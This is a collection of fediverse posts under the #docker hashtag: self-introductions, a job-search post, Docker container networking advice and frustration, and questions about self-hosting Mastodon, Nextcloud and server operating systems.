I'm interested in #ClimateJustice, #WalkableCities, #HousingJustice, #USPolitics, and #homelab. I value patience and empathy.
@jrsofty @arichtman Reason for this, is because #Docker works this way. If both SQL and your frond end app are not part of the same compose, as 2 separate services, but rather running them as 2 separate containers based on separate compose files, then you will have to configure each of them to use the same docker virtual namespace. Try and use network_mode:nameofNetwork for both of them and see if your will have any issues in communication.
A bit of #introduction from me.
Focusing on #synology content as well as #docker and #opensource solutions. Working for the past 30+ years in #it with my current occupation as #sysadmin and #devops.
Love to tinker with various solutions while testing and implementing them.
A moderator over at @synoforum, and owner of https://www.blackvoid.club and https://www.blackvoid.tech domains.
I'm at the point where I'm about to throw my laptop out the window trying to get #docker to allow me to have 2 standalone containers talk to one another. The #Network setings for docker are atrocious. Nothing makes sense and no one has a clear path for getting to work. The documentation is also not clear and unhelpful. Why does it need to be so difficult. Why can't I simply tell one container when I set it up to run it's allowed to talk to the other container without jumping through hoops!
To my #FDIR friends: are there any good playbooks you have for #fdir of #docker containers, especially #Azure #ContainerApps or #ContainerInstances?
:boost_requested: #GetFediHired #Jobs #SysAdmin #Python #FOSS #FLOSS
Hey #FediHired, I'm on a #JobSearch. I'm a #Linux systems engineer and #Python developer with 15+ years' experience, based in #Melbourne, Australia. I have a high attention to detail & lots of experience working with people (15+ years community organising/Scout leading). Motivating values: free/ #OpenSource software, accessibility, diversity, equity, inclusion, privacy, and security, analysing/improving/automating systems/processes. Recent personal projects involve #Docker, #Django, #Ansible.
Ideally seek remote role with communicative/cohesive team, variety, flexible hours, ideally max 4 days/week.
LinkedIn: https://www.linkedin.com/in/mattcen/
Resume: https://blog.mattcen.com/resume/
Okay, #Coolify is a pain to work with on an internal network. If you're using GitHub for your things, that's okay, but for everything else is not.
Is there any other alternative?
BTW, this is Coolify: https://coolify.io/
#Linux #DevOps #Server #Servers #Docker #Containers #Kubernetes #VM #Virtualization #OCI #Debian #CentOS #Alpine #Fedora #Forgejo #Git #GitHub #GitLab #Podman #PHP #Go #Rust #JavaScript #Vue #Nuxt #NextJS #React #Angular #Coolify
Pretty huge news from Canonical yesterday!
"Today, Canonical announced a 12 year LTS for any open source Docker image!"
https://canonical.com/blog/canonical-offers-12-year-lts-for-any-open-source-docker-image
It almost feels like Mastodon do not want us to self host. There is no direct link on the main webpage to install on server. Digging through the docs, finally found documentation and there is no Docker container or a package for any OS for easy installation. They require us to install from source along with all the dependencies. I don't mean to bad mouth it but they do not do enough to encourage self hosting (if not discourage).
Would like to know your opinions or ideas on how to self host it easily with minimum maintenance (auto upgrades, etc).
Source: Mastodon server install docs: https://docs.joinmastodon.org/admin/install/
#Mastodon #SelfHost #SelfHosting #SelfHosted #ActivityPub #Fedi #Docker #NixOS #Linux #Pleroma #MissKey
PSA: I may disagree with you on one thing, but that does not mean I won't agree with you on another
Please calm down, we can still be friends.
xx
#Rust #Wayland #Docker #Ubuntu #JavaScript #Windows #MacOS #footTerminal #KDE #Gnome #Sway #XFS #NotPuttingAltTextOnImages #ExcessiveUseOfHashTags #CallingHashtagsHashtags
today was my last day at @wonderproxy. last day working with @preinheimer and @schmalliso and @tdriley and will (and puck, the new me!).
it's been a pretty solid decade, folks. i have some FEELS. i learned #golang, #reactjs, #nodejs, #selenium, #playwright, #puppet, #docker, #mongodb, and how and why not to use #jwt's. i keynoted #phptek, staffed a vendor booth at #saucecon, and contributed (a very little bit) to my favorite #php framework.
there is nothing in my adult life that has had as much of an impact on my career as the folks at wonderproxy. thanks for being awesome, wonderpeople. it's been a privilege working with you.
“With Docker, we learned that the hard way”
🎥 https://youtu.be/ZthqD40zzMQ
#Dagger (previously #Docker) founder @shykes speaks candidly about the different between an #opensource ecosystem and an actual community
youtube.com
Dagger founder Solomon Hykes on what he learned the hard way about open source from Docker on "The Changelog" podcast. Full audio 👉 https://changelog.fm/550...
I'm running #Ubuntu on my server but I'd like to move away from it. Was thinking of #Fedora server but I'd like something that isn't all new and just works, maybe I'm doing it a disservice. I was thinking that might be #CentOS but I've now caught up on that big palaver.
I used to love #Arch when I was younger but I have kids now and can't devote the energy to it, I just want a stable OS to run #Docker containers on that's easy to install and doesn't shove #UbuntuPro or #Snaps down my throat.
Hello and welcome to my #fediverse profile!
I've spun up my own #GoToSocial instance as a way to teach myself #docker and server administration, but also to finally have a **forever** home in the federated universe.
Won't 'toot' much, but when I do, I'm probably rambling on about something related to #cars, #technology, #music, or just life in general.
Feel free to drop me a follow and see you around!
publicly available #wordpress installation in 46seconds with #docker-compose and #tor.
video:
https://peertube.satoshishop.de/w/mv54mzwUXvjvsCNCnb2Gij
docker-compose.yml:
https://hedgedoc.satoshishop.de/vHqDFNVORwmMcETMwT0f7A#docker-composeyml---non-anonymous-mode-faster
Scopique everywhere. Life-long #gamer, super-entheusiastic about #starcitizen.
Occasional attempted #gamedev, but taking an extended break.
Mostly life-long #developer, currently #fullstack including #reactjs #csharp #sqlserver #docker #nodejs and whatever else fits the bill. Currently working on a secret project for one hour every three months.
#blogger at scopique.com.
I dunno what else to post here right now. I think I covered all the hashtags.
This has to be the funniest video explanation of the dagger.io that I’ve ever seen 😂 Well done @AupseLaurent
https://m.youtube.com/watch?v=m5mauLiCp3Y
Note: voice is in French but there are US subtitles 🇫🇷🇺🇸
youtube.com
⬇️ Dagger : Le TOOLING DEVOPS pour construire vos CI/CD ⬇️Le concept de CI/CD est probablement ce qui se fait de mieux dans l'univers du Devops, mais même le...
Hello! I'm Jeff, a software architect near L.A.
From 1994-96 I ran a dialup #bbs with >1,000 users sharing 8 lines (oof). By the end it provided MINIX shell accounts + Internet email via FIDO. I've been online ever since.
I've been building Cerb.ai (formerly Cerberus Helpdesk) in #php + #mysql full-time for nearly 21 years. 1000s of teams use it for high-volume shared webmail + workflow automation.
I'm also interested in #aws #docker #machinelearning #german #boardgames
So i guess an #introduction is the thing to do. I'm a software developer with heavy focus on Java, i work at https://atexxi.ch which i co-founded, using https://strolch.li on a #RaspberryPi to communicate with our servers to try and lessen nurses burden on drug logistics.
I've been using Linux as my daily driver for over a decade, do some gaming, and love setting up infrastructure like #docker #Mastodon #Proxmox #gitea etc.
#introduction
Hej alle.
Jeg er #computer og #IT entusiast.
Yder ofte #itsupport
Går op i IT sikkerhed og at undgå dem der samler og sælger dine personlige data.
Jeg ville ønske at alle brugte Mastodon eller lign. istedet for FB/twitter, så vidt muligt altså.
#bakmandit.
Jeg roder med netværk, #pfsense #router #firewall hardware, server-apps, #docker #raspberrypi #línux #worldoftanks #windows
Du er velkommen til at følge mig.
Time for an #introduction I guess.
I am:
- #Eindhoven native
- Physicist by training
- Software developer by profession (industrial and medical equipment, mainly #C++, but also #C and #Python)
- Electronics tinkerer (#ESP8266, #D1Mini, #mechanicalkeyboards, #platformio, #kicad)
- Smart home hobbyist (#HomeAssistant, #MQTT, #Tasmota)
- Into #selfhosting (#docker, #mailpile, #pihole)
- 3D printing early adopter (since 2014, #prusa, #marlin, #fusion360)
As appears to be tradition, here's an #introduction from me :) After some time as a #Netware admin, I've been in #infosec for a bit over 20 years.
Started in financial services as a security analyst, moved into #pentesting for banks then as a consultant for various companies and now experiencing the sometimes odd world of Security Advocacy.
Tech-wise these days I focus on #Kubernetes #Docker and all things containerization, but dabble in #webappsec things and code in #ruby and #golang when required.
by way of re-#introductions...
I work in tech (surprise), usually in middle or senior management. But I started as a SysAdmin. I still keep and enjoy a #homelab, messing with #raspberrypi, #homeassistant, #docker. More recently I've gotten into #vr and it gets me feeling entrepreneurial with all of the possibilities.
I also enjoy #photography, #aquarium fish, and #houseplants.
I'm also openly #ActuallyAutistic #ADHD #bisexual #ptsd
Tipps und dazu noch ein freies Template für Freunde von #Virtualisierung, hochverfügbare #Cluster, #VMs, #LXC und #Cloud Computing.
#Proxmox auf #VPS #Root #Server, #pfsense, #NAT, #WAN, #LAN #iptables #docker #portainer
https://blog.jbvfx.de/2022/04/proxmox-ve-auf-vps-root-server-pfsense-nat-wan-lan/
So, my last post (at the moment of this post) was in Nov 2019, so a new #introduction post might be in order.
Hello everyone! My name is Artemis. I will mostly write about #Programming (incl. #Ruby, #Python, #Clojure, #Elixir, #Golang, #Docker and others), #SciFi, #fantasy with occasional various nerdy postings (#linux/#unix #comicbooks, #lego, #formulae), #lgbtqi stuff or plain nonsense-posting.
Hope you enjoy!
Je voudrais aussi sortir ma famille des #gafam en montant un #nextcloud mais il me vient beaucoup de question. Quel dimensionnement ? Comment gérer la sécurité du nextcloud ainsi que la sécurité du serveur derrière ? Ne pas exposer les données perso toussa
Est-ce que les #docker #k8s et autre joyeusetés c'est bien pour gérer les trucs familiaux ?